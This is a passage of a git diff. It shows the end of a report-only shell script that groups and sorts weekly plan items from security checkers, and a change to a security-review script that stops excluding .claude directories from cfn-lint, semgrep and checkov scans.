mode:"report-only", + sources_considered:($sources|split(" ")), + plan_item_count:($items|length), + crit_high_count:([$items[]|select(.severity=="critical" or .severity=="high")]|length), + repos_in_plan:([$items[].repo]|unique|length), + plan:$items, missing_sources:$missing}' > "$REPORT_JSON" + +{ + echo "plan-groomer — groomed weekly plan — $UTC_STAMP" + echo "org=$GH_ORG sources=[$SOURCE_CHECKERS] mode=report-only (D3: no auto-write)" + echo "plan items: $N_ITEMS ($N_CRIT_HIGH crit/high) across $N_REPOS repo(s)" + echo + if [ "$N_ITEMS" -gt 0 ]; then + echo "PRIORITIZED PLAN (severity desc, then repo):" + echo "$GROOMED_JSON" | jq -r '.[] | "• [\(.severity)] \(.repo) — \(.title)\n action: \(.action) (source: \(.source))"' + else + echo "No actionable items aggregated this run (clean week, or no upstream reports)." + fi + if [ "$(echo "$MISSING_JSON" | jq 'length')" -gt 0 ]; then + echo; echo "sources with no report (NOT invented as work):" + echo "$MISSING_JSON" | jq -r '.[] | " - \(.)"' + fi +} > "$REPORT_TXT" +chmod 600 "$REPORT_JSON" "$REPORT_TXT" 2>/dev/null || true + +# Defense-in-depth: the digest line that a future --notify seam would push is redacted now. +DIGEST="$(echo "$GROOMED_JSON" | jq -r ' + group_by(.repo)[] | "*\(.[0].repo)*: " + ([.[] | "[\(.severity)] \(.title)"] | join("; "))' \ + | sed 's/^/• /' | redact)" + +log "report: $REPORT_JSON ($N_ITEMS plan item(s), $N_REPOS repo(s))" + +# ============================================================================== +# CANARY ASSERTION (anti-complacency floor, design §6.4) +# ============================================================================== +if [ "$CANARY" -eq 1 ]; then + EXPECT_FILE="$HERE/fixtures/plan-groomer/EXPECTED_PLAN_ITEMS" + [ -f "$EXPECT_FILE" ] || die "canary expected-count file missing: $EXPECT_FILE" + EXPECTED="$(tr -dc '0-9' < "$EXPECT_FILE")" + log "canary assertion: expected plan items=$EXPECTED, got=$N_ITEMS" + if [ "$N_ITEMS" -ne "$EXPECTED" ]; then + echo "[plan-groomer] CANARY FAIL: groomed-plan item count mismatch (expected $EXPECTED, got $N_ITEMS)" >&2 + echo " -> aggregation or dedup regressed, or the fixture changed. See $REPORT_TXT." >&2 + exit 3 + fi + log "canary PASS: groomed plan has all $EXPECTED expected item(s) (dedup intact)." +fi + +# ============================================================================== +# REPORT-ONLY ROUTING (D3): the plan lives in the mode-600 report. Post NOTHING. +# ============================================================================== +if [ "$NOTIFY" -eq 1 ] && [ "$DRY_RUN" -eq 0 ]; then + # INERT future seam: when D3's "once trusted" toggle flips, this is where the digest would + # be pushed to Slack/Notion/Jira. It is intentionally a no-op in this phase — plan-groomer + # is REPORT-ONLY and must not auto-write. The composed digest is available in $DIGEST. + log "--notify requested but inert in this phase (D3: report-only; auto-write is a later toggle). No push." +fi +: "${DIGEST:?}" >/dev/null 2>&1 || true # DIGEST is composed for the future seam; keep it referenced. +log "REPORT-ONLY: groomed plan written to the mode-600 report; nothing posted (D3)." +exit 0 + +# ============================================================================== +# PROVISIONING (NOT DONE HERE — gated, later phases): +# - REPORT-ONLY by design (D3). The auto-write path (push the groomed plan to Notion/Jira, +# or a weekly Slack digest) is a LATER TOGGLE, flipped only once signal quality is trusted. +# The --notify seam above is intentionally inert; wiring a real destination is provisioning. +# - No systemd unit / timer is installed by this script. Wiring it into the weekly schedule +# (alongside the other Plane-1 checkers under the coordinator) is provisioning and is gated. +# - The coordinator (design §5, checker_coordinator.sh) registers + drives this planner; that +# registry edit is done centrally, NOT in this script. +# - Confluence + project_r720_agent_team memory updates are docs-as-you-go obligations for the +# build session, tracked outside this script. +# ============================================================================== diff --git a/security-review/review.sh b/security-review/review.sh index 6575ec5..17ca224 100755 --- a/security-review/review.sh +++ b/security-review/review.sh @@ -45,7 +45,7 @@ note_missing() { echo " [MISSING] $1 — not run. Install: $2" >&2; } if command -v cfn-lint >/dev/null; then # Prune generated/vendored trees (cdk.out, node_modules, …): scanning synthesized output is # wrong and, on CDK repos, explodes the arg list / stalls the scanners. - TPLS="$(scope_paths | xargs -I{} find {} \( -type d \( -name cdk.out -o -name node_modules -o -name .git -o -name .claude -o -name .aws-sam -o -name .venv -o -name venv -o -name dist -o -name build \) -prune \) -o \( -type f \( -name '*.yaml' -o -name '*.yml' \) -print \) 2>/dev/null \ + TPLS="$(scope_paths | xargs -I{} find {} \( -type d \( -name cdk.out -o -name node_modules -o -name .git -o -name .aws-sam -o -name .venv -o -name venv -o -name dist -o -name build \) -prune \) -o \( -type f \( -name '*.yaml' -o -name '*.yml' \) -print \) 2>/dev/null \ | xargs -I{} sh -c 'grep -lE "AWSTemplateFormatVersion|Transform: *AWS::Serverless" "{}" 2>/dev/null || true')" if [ -n "$TPLS" ]; then # shellcheck disable=SC2086 @@ -69,7 +69,7 @@ SCOPE_PATHS="$(scope_paths)" # --- semgrep (SAST: injection/authz/xss/secrets) --- if command -v semgrep >/dev/null; then # shellcheck disable=SC2086 - if SG="$(semgrep --config p/security-audit --config p/secrets --config p/javascript --json --metrics=off --exclude cdk.out --exclude node_modules --exclude .claude --exclude .venv --exclude venv --exclude .aws-sam --exclude dist --exclude build $SCOPE_PATHS 2>/dev/null)"; then + if SG="$(semgrep --config p/security-audit --config p/secrets --config p/javascript --json --metrics=off --exclude cdk.out --exclude node_modules --exclude .venv --exclude venv --exclude .aws-sam --exclude dist --exclude build $SCOPE_PATHS 2>/dev/null)"; then NORM="$(echo "$SG" | jq '[.results[] | { id: ("semgrep-" + (.check_id|split(".")|last) + "-" + (.start.line|tostring)), title: ((.check_id|split(".")|last) + ": " + ((.extra.message // "")[0:120])), @@ -116,7 +116,7 @@ if command -v checkov >/dev/null; then # scanning cdk.out/.template.json, which is the real deploy artifact # (dropping it would silence genuine S3/IAM IaC findings). asset is anchored to # cdk.out so a source file literally named asset.* is not also excluded. - if [ -d "$p" ]; then RAW="$(checkov -d "$p" --skip-path 'cdk\.out/asset\.' --skip-path node_modules --skip-path '\.claude' --skip-path '\.venv' --skip-path venv --skip-path '\.aws-sam' --skip-path dist --skip-path build -o json --compact --quiet 2>/dev/null || true)" + if [ -d "$p" ]; then RAW="$(checkov -d "$p" --skip-path 'cdk\.out/asset\.' --skip-path node_modules --skip-path '\.venv' --skip-path venv --skip-path '\.aws-sam' --skip-path dist --skip-path build -o json --compact --quiet 2>/dev/null || true)" else RAW="$(checkov -f "$p" -o json --compact --quiet 2>/dev/null || true)"; fi [ -z "$RAW" ] && continue FC="$(echo "$RAW" | jq '[ (if type=="array" then .[] else . end).results.failed_checks // [] ] | add // []' 2>/dev/null || echo '[]')"